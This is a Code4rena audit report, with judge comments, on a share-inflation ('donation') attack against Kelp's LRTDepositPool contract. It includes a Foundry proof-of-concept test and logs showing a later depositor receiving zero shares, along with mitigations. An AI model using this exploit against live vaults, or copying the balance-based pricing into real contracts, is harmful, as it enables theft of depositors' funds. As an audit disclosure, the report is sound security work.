Risk of Share Manipulation in LRTDepositPool Contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTDepositPool.sol#L109 https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTOracle.sol#L52-L79

Vulnerability details

Summary

The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Impact

The attacker can profit from future users' deposits. While the late users will lose their funds to the attacker.

POC

• Attacker deposits 1 wei to mint 1 share
• Attacker transfers exorbitant amount to the LRTDepositPool.sol contract to greatly inflate the share’s price.
• Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share.

for simpility add the follownig code in LRTDepositPool.sol:

    function getRSETHPrice() internal view returns (uint256){
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();
        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = 1e18;

            uint256 totalAssetAmt = IERC20(asset).balanceOf(address(this));
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }
        return totalETHInPool / rsEthSupply;
    }

and modify getRsETHAmountToMint function to call above function instead of orcale.getRSETHPrice function:

-        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

+        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / getRSETHPrice(); 

the following test will show the vulnerability:

    function test_DepositAsset() external {
        console.log("================ Alice deposit 1 rETH ================");
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);
        console.log("Alice rseth balance %s",rseth.balanceOf(address(alice)));
        console.log("protocol rETH balance %s",lrtDepositPool.getTotalAssetDeposits(rETHAddress));
        console.log("protocol rseth totalSupply %s",rseth.totalSupply());
        console.log("================ Alice transfer 10 ether rETH ================");
        rETH.transfer(address(lrtDepositPool), 10 ether);
        console.log("Alice rseth balance %s",rseth.balanceOf(address(alice)));
        console.log("protocol rETH balance %s",lrtDepositPool.getTotalAssetDeposits(rETHAddress));
        console.log("protocol rseth totalSupply %s",rseth.totalSupply());
        console.log("================ Bob deposit 9 ether rETH ================");
        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 9 ether);
        lrtDepositPool.depositAsset(rETHAddress, 9 ether);
        console.log("Alice rseth balance %s",rseth.balanceOf(address(alice)));
        console.log("Bob rseth balance %s",rseth.balanceOf(address(bob)));
        console.log("protocol rETH balance %s",rETH.balanceOf(address(lrtDepositPool)));
        console.log("protocol rseth totalSupply %s",rseth.totalSupply());
    }

output:

Running 1 test for test/LRTDepositPoolTest.t.sol:LRTDepositPoolDepositAsset
[PASS] test_DepositAsset() (gas: 271245)
Logs:
  ================ Alice deposit 1 rETH ================
  Alice rseth balance 1
  protocol rETH balance 1
  protocol rseth totalSupply 1
  ================ Alice transfer 10 ether rETH ================
  Alice rseth balance 1
  protocol rETH balance 10000000000000000001
  protocol rseth totalSupply 1
  ================ Bob deposit 9 ether rETH ================
  Alice rseth balance 1
  Bob rseth balance 0
  protocol rETH balance 19000000000000000001
  protocol rseth totalSupply 1

Tools Used

Manual review

Recommendations

To address this vulnerability, several mitigation strategies can be implemented:

• Internal Asset Tracking: Maintaining internal records of the total assets can help.
• Dead Shares Creation: Generating "dead shares," for instance, 1e9 wei, and sending them to address 0 would ensure that even in a manipulated scenario, the share distribution remains equitable.

By implementing these measures, the contract can secure itself against share manipulation, ensuring a fair distribution of shares to all users.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 marked the issue as satisfactory

[0xmahdirostami]

Dear @fatherGoose1,

I appreciate your judgment. I believe that the proof of concept and recommendations I provided are superior to the selected report. please review my report again for selecting as a selected report.

Thank you for your attention to this matter.

[fatherGoose1]

@0xmahdirostami This report and the one selected for the report both excel in explaining the issue and offering recommended steps to mitigate. No changes will be made.